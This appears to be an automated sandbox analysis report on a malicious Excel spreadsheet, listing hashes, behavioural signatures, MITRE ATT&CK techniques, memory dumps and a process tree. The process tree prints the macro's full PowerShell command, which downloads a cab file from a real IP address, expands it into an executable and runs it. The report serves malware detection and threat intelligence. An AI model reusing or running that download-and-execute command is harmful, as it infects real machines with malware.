f0694d38c88c19bf3f891b90cbed7588a0234895c93f819a88bf27e22550f2fc

General

Target

f0694d38c88c19bf3f891b90cbed7588a0234895c93f819a88bf27e22550f2fc.xls
Size

24KB
MD5

f584a24f2423784935912fec4c69cac3
SHA1

6b441f8e8b387c0cf55f42a459bc1b6b475df097
SHA256

f0694d38c88c19bf3f891b90cbed7588a0234895c93f819a88bf27e22550f2fc
SHA512

9c9954a9537902119077f0278046b2dc5387f950bffc304d4c8c13189532b56b257ce6f89c9b7ddf5e123dc15c4b7c0a339d3e2d884dd8a3e7b7973be4cbab08
SSDEEP

192:pBgqHa439gyLPUV+/T/D/199huyDycjCxGi+yE1fQ/yGCl7sXZBik9VWa9:po+LbthuQbCIia1fCz

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://92.63.88.87/sdeoefefs/dfssk.cab

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3760	2688	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

26 4700 powershell.exe

flow	pid	process
26	4700	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2688 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4700 powershell.exe
4700 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4700 powershell.exe

pid	process
4700	powershell.exe
4700	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4700	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 2688 wrote to memory of 3760	2688	EXCEL.EXE	cmd.exe
PID 2688 wrote to memory of 3760	2688	EXCEL.EXE	cmd.exe
PID 3760 wrote to memory of 4700	3760	cmd.exe	powershell.exe
PID 3760 wrote to memory of 4700	3760	cmd.exe	powershell.exe
PID 4700 wrote to memory of 2732	4700	powershell.exe	expand.exe
PID 4700 wrote to memory of 2732	4700	powershell.exe	expand.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f0694d38c88c19bf3f891b90cbed7588a0234895c93f819a88bf27e22550f2fc.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\SYSTEM32\cmd.exe
  cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.87/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.87/sdeoefefs/dfssk.cab','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.cab'); expand C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.cab C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe; start C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe;
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\system32\expand.exe
      "C:\Windows\system32\expand.exe" C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.cab C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe
      4⤵
      PID:2732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2688-132-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-133-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-134-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-135-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-136-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-137-0x00007FF979000000-0x00007FF979010000-memory.dmp

Filesize
64KB

Download
memory/2688-138-0x00007FF979000000-0x00007FF979010000-memory.dmp

Filesize
64KB

Download
memory/2688-150-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-149-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-148-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2688-147-0x00007FF97B4F0000-0x00007FF97B500000-memory.dmp

Filesize
64KB

Download
memory/2732-144-0x0000000000000000-mapping.dmp

Download
memory/3760-139-0x0000000000000000-mapping.dmp

Download
memory/4700-143-0x00007FF992B30000-0x00007FF9935F1000-memory.dmp

Filesize
10.8MB

Download
memory/4700-145-0x00007FF992B30000-0x00007FF9935F1000-memory.dmp

Filesize
10.8MB

Download
memory/4700-142-0x00007FF992B30000-0x00007FF9935F1000-memory.dmp

Filesize
10.8MB

Download
memory/4700-141-0x00000215F0FD0000-0x00000215F0FF2000-memory.dmp

Filesize
136KB

Download
memory/4700-140-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads